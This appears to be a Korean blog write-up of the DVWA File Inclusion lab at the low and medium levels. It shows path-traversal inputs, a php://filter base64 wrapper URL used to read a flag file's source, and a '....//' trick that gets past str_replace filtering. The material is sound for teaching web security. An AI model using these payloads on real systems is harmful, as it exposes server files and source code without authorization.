File Inclusion
웹 브라우저를 통해 서버에 파일을 포함시키는 과정으로 include할 페이지 경로가 적절히 필터링 되지 않고 디렉토리 변경 명령어들의 삽입을 허용했을 때 일어난다.
low level
요청을 확인해봣을때 아무런 필터링도 거치지 않고 파일 이름을 파라미터로 받아서 include 하는 것을 알 수 있다.
url에서 파일명만 변경되는것을 확인하고
file4를 입력해봤더니 숨겨진 파일이 나왔다.
이제 목적에서 요구하는 "../hackable/flags/fi.php"를 include 해보자.
5개의 인용문중 3개가 확인되었다.
소스코드를 직접 읽어봐야 숨겨진 인용문을 확인할 수 있을 것이다.
php Wrapper의 PHP Filter를 사용해보자.
php://filter/convert.base64-encode/resource=
리소스를 읽을 때 base64로 인코딩하는 필터(convert.base64-encode)를 적용한다는 의미이다.
이를 적용하여 아래 링크로 접속해보았다.
http://localhost/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../hackable/flags/fi.php
PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K
이렇게 base64로 인코딩된 fi.php의 소스코드를 확인 할 수 있다.
이를 다시 디코딩하면
이처럼 fi.php의 소스코드를 얻을 수 있다.
소스코드안에 확인되지 않았던 인용문 2개를 추가로 얻을 수 있다.
medium level
medium 레벨에서는
"http://" , "https://" , "../" , "..\" 가 str_replace로 인해 제거되어 필터링 되는 것을 알 수 있다.
low 레벨처럼 ../../hackable/flags/fi.php을 입력해 접속하려는 결과 ../../가 사라진것을 볼 수 있다.
이를 우회하기 위해서는 str_replace() 함수의 취약점을 이용하면 된다.
이 함수는 단순 필터링만 수행하기 떄문에 만약 "사과"를 필터링 한다고 설정 되었을떄 "사사과과"를 호출 할 시 가운데 "사과"부분만 사라지고 양 끝 "사" 와 "과"가 붙어서 "사과"가 호출 된다.
이를 이용해 ../ 이 부분을 ....// 이렇게 바꿔준다면 쉽게 우회할 수 있다.
이후 과정은 low 레벨과 동일하다
'Web > DVWA 실습' 카테고리의 다른 글
DVWA - Insecure CAPTCHA (low,medium) 실습 (0) | 2022.10.30 |
---|---|
DVWA - File Upload (low,medium) 실습 (0) | 2022.10.30 |
DVWA - CSRF(low,medium) 실습 (0) | 2022.10.30 |
DVWA - Command Injection(low,medium) 실습 (0) | 2022.10.30 |
DVWA-Brute Force(low, medium) 실습 (2) | 2022.10.30 |